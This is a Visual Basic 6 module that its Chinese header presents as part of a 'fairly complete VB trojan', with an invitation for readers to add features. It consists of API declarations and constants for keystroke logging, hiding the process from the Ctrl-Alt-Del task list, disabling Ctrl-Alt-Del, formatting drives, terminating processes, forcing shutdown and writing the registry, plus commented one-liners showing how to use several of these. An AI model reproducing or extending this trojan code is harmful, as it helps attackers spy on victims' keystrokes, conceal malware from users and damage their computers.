modfunction.bas

一个较为完整的VB木马程序。只是文件上传功能还不太完善。

Attribute VB_Name = "ModFunction"
'下列的所有代码只是我增加的客户端的小部分功能
'因为许多人希望在这样的软件中加入一些有趣的功能
'希望大家帮我添加更多的功能

Public Type RECT
    Left As Long
    Top As Long
    Right As Long
    Bottom As Long
End Type

Public Type POINTAPI
    X As Long
    Y As Long
End Type

Public Type WINDOWPLACEMENT
    Length As Long
    flags As Long
    showCmd As Long
    ptMinPosition As POINTAPI
    ptMaxPosition As POINTAPI
    rcNormalPosition As RECT
End Type

Public Type IE_STATE_SAVE
    hWnd As Long
    wp As WINDOWPLACEMENT
End Type

Public Type SECURITY_ATTRIBUTES
        nLength As Long
        lpSecurityDescriptor As Long
        bInheritHandle As Long
End Type

Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer '关键状态
Public Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer '关键状态

Type PROCESSENTRY32
    dwSize As Long
    cntUsage As Long
    th32ProcessID As Long
    th32DefaultHeapID As Long
    th32ModuleID As Long
    cntThreads As Long
    th32ParentProcessID As Long
    pcPriClassBase As Long
    dwFlags As Long
    szexeFile As String * 260
End Type

'可选用：Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Public Declare Function GetKeyboardState Lib "user32" (pbKeyState As Byte) As Long
Public Declare Function SetKeyboardState Lib "user32" (lppbKeyState As Byte) As Long

Declare Function TerminateProcess Lib "kernel32" (ByVal ApphProcess As Long, ByVal uExitCode As Long) As Long
Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal blnheritHandle As Long, ByVal dwAppProcessId As Long) As Long
Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Declare Function ProcessNext Lib "kernel32" Alias "Process32Next" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Declare Function ProcessFirst Lib "kernel32" Alias "Process32First" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, lProcessID As Long) As Long

Public Const SPI_SETMOUSETRAILS = 93
Public Const SPIF_UPDATEINIFILE = &H1
Public Const SPIF_SENDWININICHANGE = &H2

Public Declare Function SystemParametersInfoA Lib "user32" (ByVal uAction As Long, ByVal uParam As Long, ByVal lpvParam As Any, ByVal fuWinIni As Long) As Long

Public Declare Function SwapMouseButton Lib "user32" (ByVal bSwap As Long) As Long

Public Declare Function InternetAutodial Lib "wininet.dll" (ByVal dwFlags As Long, ByVal dwReserved As Long) As Long
Public Declare Function InternetAutodialHangup Lib "wininet.dll" (ByVal dwReserved As Long) As Long

Public Const INTERNET_AUTODIAL_FORCE_ONLINE = 1
Public Const INTERNET_AUTODIAL_FORCE_UNATTENDED = 2

Public Const SC_MONITORPOWER = &HF170
Public Const WM_SYSCOMMAND = &H112&

'使用了适合的调试方法
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
Public Declare Function GetClassNameA Lib "user32" (ByVal hWnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Public Declare Function SetWindowPlacement Lib "user32" (ByVal hWnd As Long, lpwndpl As WINDOWPLACEMENT) As Long
Public Declare Function GetWindowPlacement Lib "user32" (ByVal hWnd As Long, lpwndpl As WINDOWPLACEMENT) As Long
Public Declare Function RegisterHotKey Lib "user32" (ByVal hWnd As Long, ByVal id As Long, ByVal fsModifiers As Long, ByVal vk As Long) As Long
Public Declare Function UnregisterHotKey Lib "user32" (ByVal hWnd As Long, ByVal id As Long) As Long
Public Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Public Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Sub CopyMemoryH Lib "kernel32" Alias "RtlMoveMemory" (ByRef Destination As Any, ByVal Source As Any, ByVal Length As Long)

Public Declare Function RemoveDirectory Lib "kernel32" Alias "RemoveDirectoryA" (ByVal lpPathName As String) As Long
Public Declare Function EmptyClipboard Lib "user32" () As Long

Public Declare Function CreateDirectory Lib "kernel32" Alias "CreateDirectoryA" (ByVal lpPathName As String, lpSecurityAttributes As SECURITY_ATTRIBUTES) As Long

Global Const GWL_WNDPROC = (-4)     '作为Setwindowlong的paramater使用了设置窗口的进程
Global Const SW_HIDE = 0            'showCmd成员的隐藏常数被WINDOWPLACEMENT发送到窗口
Global Const WM_HOTKEY = &H312      '当registered和RegisterHotKey被记录时，消息被禁止
Public Const MOD_SHIFT = &H4        '检查WM_HOTKEY消息，看the shift key是否被记录
Global Const MOD_WIN = &H8          '检查WM_HOTKEY消息，看the windows key是否被记录
Global Const VK_Z = &H5A            '虚拟关键代码适用于“Z”

Global Const MIN_HOTKEY = &H5F      '用户定义，把这个过程ID的热键减到最少
Global Const RST_HOTKEY = &H6F      '用户定义，把这个过程ID的热键恢复

Public lngOldWindowProc As Long     '存储到原来的窗口地址
Public arrayIESS() As IE_STATE_SAVE '过去的数组经常存储的窗口和位置

Declare Function SHChangeIconDialog Lib "Shell32.DLL" Alias "#62" (ByVal hWndOwner As Long, ByVal szInitFilename As String, ByVal dwReserved As Long, lpIconIndex As Long) As Long
Declare Function SHFormatDrive Lib "Shell32.DLL" (ByVal hWndOwner As Long, ByVal iDrive As Long, ByVal iCapacity As Long, ByVal iFormatType As Long) As Long
Declare Function SHIsPathExecutable Lib "Shell32.DLL" Alias "#43" (ByVal szPath As String) As Long
Declare Function SHRestartSystemMessageBox Lib "Shell32.DLL" Alias "#59" (ByVal hWndOwner As Long, ByVal szExtraPrompt As String, ByVal uFlags As Long) As Long
Declare Function SHRunDialog Lib "Shell32.DLL" Alias "#61" (ByVal hWndOwner As Long, ByVal dwReserved1 As Long, ByVal dwReserved2 As Long, ByVal szTitle As String, ByVal szPrompt As String, ByVal uFlags As Long) As Long

' 更多：
Declare Function CreateSolidBrush Lib "gdi32" (ByVal crColor As Long) As Long
' 更新：其他的是不正确的（D是不存在的，破坏了API的共享文件）
Declare Function ExtractAssociatedIcon Lib "Shell32.DLL" Alias "ExtractAssociatedIconA" (ByVal hInst As Long, ByVal lpIconPath As String, lpiIcon As Long) As Long
Declare Function DrawIconEx Lib "User32.DLL" (ByVal hDC As Long, ByVal xLeft As Long, ByVal yTop As Long, ByVal hIcon As Long, ByVal cxWidth As Long, ByVal cyWidth As Long, ByVal istepIfAniCur As Long, ByVal hbrFlickerFreeDraw As Long, ByVal diFlags As Long) As Long
Declare Function OleTranslateColor Lib "OlePro32.DLL" (ByVal oleColor As OLE_COLOR, ByVal hPalette As Long, pColorRef As Long) As Long
Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long

' OLE 常数 ：
Public Const CLR_INVALID = &HFFFFFFFF

' 适用SHRunDialog的常数：
Public Const SHRD_NOBROWSE = 1 ' 如果指定，按钮不会出现“浏览”
Public Const SHRD_NOSTRING = 2 ' 如果指定，不会出现在对话的起始字符串处
'适用SHFormatDrive的常数：
Public Const SHFDCapacityDefault = 0 ' 1.2MB 或 1.44MB，看驱动器的情况
Public Const SHFDCapacity360KB = 3 ' 360KB 代替1.2MB
Public Const SHFDCapacity720KB = 5 ' 720KB 代替1.44MB

' 更多的适用SHFormatDrive的常数（这些比较明显）：
Public Const SHFDTypeQuickFormat = 0
Public Const SHFDTypeFullFormat = 1
Public Const SHFDTypeCopySystemFilesOnly = 2

' 适用ExitWindowsEx...常数，我找到了它们另外的使用
Public Const EWX_LOGOFF = 0 ' 注销
Public Const EWX_SHUTDOWN = 1 ' 关闭
Public Const EWX_REBOOT = 2 ' 重新启动
Public Const EWX_FORCE = 4 ' 强迫运行
Public Const EWX_POWEROFF = 8 ' (从硬件Win98+)关闭计算机

'适用DrawIconEx的常数 (没有工作）：
Public Const DI_MASK = 1            ' 使用桌面图标
Public Const DI_IMAGE = 2           ' 使用图象图标
Public Const DI_NORMAL = DI_MASK Or DI_IMAGE ' 使用“拖拽图象”的图标

'可选用：Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
'可选用：Public Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer

'CD ROM 代码
Public Declare Function mciGetErrorString Lib "winmm.dll" Alias "mciGetErrorStringA" (ByVal dwError As Long, ByVal lpstrBuffer As String, ByVal uLength As Long) As Long
Public Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

'打包代码
Public OffSetTypes(0 To 999999) As Long
Public SizeTypes(0 To 999999) As Long
Public WavName As String
Public Buffload As String
Public FileAmmount As Long
Public WavCache(0 To 999999) As String
Public FileListStart As Long
Public FileList As String
Public Const MainHeader As String = "CYT1.0" '打包文件头
Public Header As String
Public Offset As Long
Public Size As Long
Public Name As String
Public DoCount As Long

'打包文件只适用precacher的声音

'键盘记录代码
Public Const SHIFT_KEY As Integer = 16
Public sKeyPressed As String
Public KeyLoop As Integer
Public KeyResult As Long
Public bShift As Boolean

Declare Function ShellExecute Lib "Shell32.DLL" Alias _
    "ShellExecuteA" (ByVal hWnd As Long, ByVal lpOperation _
    As String, ByVal lpFile As String, ByVal lpParameters _
    As String, ByVal lpDirectory As String, ByVal nShowCmd _
    As Long) As Long
   
'可选用：Public Const SW_SHOW = 5

Global lngIcon
Global strProgram
Global strProgramA
Global strSaveIconFile

Declare Function ExtractIcon Lib "Shell32.DLL" Alias "ExtractIconA" (ByVal hInst As Long, ByVal lpszExeFileName As String, ByVal nIconIndex As Long) As Long
Declare Function DrawIcon Lib "user32" (ByVal hDC As Long, ByVal X As Long, ByVal Y As Long, ByVal hIcon As Long) As Long
Declare Function DestroyIcon Lib "user32" (ByVal hIcon As Long) As Long

Public Declare Function GetWindow Lib "user32" (ByVal hWnd As Long, ByVal wCmd As Long) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function SetFocusAPI Lib "user32" Alias "SetFocus" (ByVal hWnd As Long) As Long
Public Declare Function ShowWindow Lib "user32" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long
Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Integer, ByVal lParam As Long) As Long
Public Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Public Declare Function GetTopWindow Lib "user32" (ByVal hWnd As Long) As Long
Public Declare Function ExitWindowsEx& Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long)
Public Declare Function GetCurrentProcess Lib "kernel32" () As Long
Public Declare Function SendMessageLong& Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long)
Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Public Declare Function SendMessageByNum& Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long)
Public Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, ByRef lpvParam As Any, ByVal fuWinIni As Long) As Long
Public Declare Function SendMessageByString Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
Public Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long

'可选用：Public Declare Function SetWindowPos& Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long)
'可选用：Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long
'可选用：Public Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
'可选用：Public Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, lpvParam As Any, ByVal fuWinIni As Long) As Long
'可选用：Public Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long

'可选用：SetWindowPos FrmMain.hwnd, -1, 0, 0, 0, 0, 3    '如果是-1那么窗口ontop，如果是-2那么窗口正常
'可选用：RegisterServiceProcess GetCurrentProcessId, 1 '如果是1那么移开 ctrl-alt-del菜单， 如果是False那么正常
'可选用：SystemParametersInfo 97, True, False, 0       '如果是True那么 ctrl-alt-del无效，如果是False那么恢复
'可选用：ExitWindowsEx 1, 0                            '关闭你的计算机（1=关闭，2=重新启动

Public Const WM_LBUTTONDBLCLICK = &H203
Public Const WM_MOUSEMOVE = &H200
Public Const WM_RBUTTONUP = &H205
Public Const WM_LBUTTONDOWN = &H201
Public Const WM_LBUTTONUP = &H202
Public Const WM_LBUTTONDBLCLK = &H203
Public Const WM_RBUTTONDOWN = &H204
Public Const WM_RBUTTONDBLCLK = &H206
Public Const WM_CHAR = &H102
Public Const WM_CLOSE = &H10
Public Const WM_USER = &H400
Public Const WM_COMMAND = &H111
Public Const WM_GETTEXT = &HD
Public Const WM_GETTEXTLENGTH = &HE
Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_MOVE = &HF012
Public Const WM_SETTEXT = &HC
Public Const WM_CLEAR = &H303
Public Const WM_DESTROY = &H2
'可选用：Public Const WM_SYSCOMMAND = &H112
Public Const SWP_NOSIZE = &H1
Public Const SWP_NOMOVE = &H2
Public Const SW_MINIMIZE = 6
'可选用：Public Const SW_HIDE = 0
Public Const SW_MAXIMIZE = 3
Public Const SW_SHOW = 5
Public Const SW_RESTORE = 9
Public Const SW_SHOWDEFAULT = 10
Public Const SW_SHOWMAXIMIZED = 3
Public Const SW_SHOWMINIMIZED = 2
Public Const SW_SHOWMINNOACTIVE = 7
Public Const SW_SHOWNOACTIVATE = 4
Public Const SW_SHOWNORMAL = 1
Public Const HWND_TOP = 0
Public Const HWND_TOPMOST = -1
Public Const HWND_NOTOPMOST = -2
'可选用：Public Const EWX_LOGOFF = 0
'可选用：Public Const EWX_SHUTDOWN = 1
'可选用：Public Const EWX_REBOOT = 2
'可选用：Public Const EWX_FORCE = 4
Public Const RSP_SIMPLE_SERVICE = 1
Public Const RSP_UNREGISTER_SERVICE = 0
Public Const SPI_SCREENSAVERRUNNING = 97
'可选用：Public Const STANDARD_RIGHTS_REQUIRED = &HF0000
Public Const flags = SWP_NOSIZE Or SWP_NOMOVE

Global Info

Global G
Global allcharacters
Global molestate()
Type FILETIME
    lLowDateTime    As Long
    lHighDateTime   As Long
End Type
 
Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long
Declare Function RegQueryValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByRef lpData As Long, lpcbData As Long) As Long
Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByRef lpData As Long, ByVal cbData As Long) As Long
Declare Function RegSetValueExB Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByRef lpData As Byte, ByVal cbData As Long) As Long

Const ERROR_SUCCESS = 0&
Const ERROR_BADDB = 1009&
Const ERROR_BADKEY = 1010&
Const ERROR_CANTOPEN = 1011&
Const ERROR_CANTREAD = 1012&
Const ERROR_CANTWRITE = 1013&
Const ERROR_OUTOFMEMORY = 14&
Const ERROR_INVALID_PARAMETER = 87&
Const ERROR_ACCESS_DENIED = 5&
Const ERROR_NO_MORE_ITEMS = 259&
Const ERROR_MORE_DATA = 234&

Const REG_NONE = 0&
Const REG_SZ = 1&
Const REG_EXPAND_SZ = 2&
Const REG_BINARY = 3&
Const REG_DWORD = 4&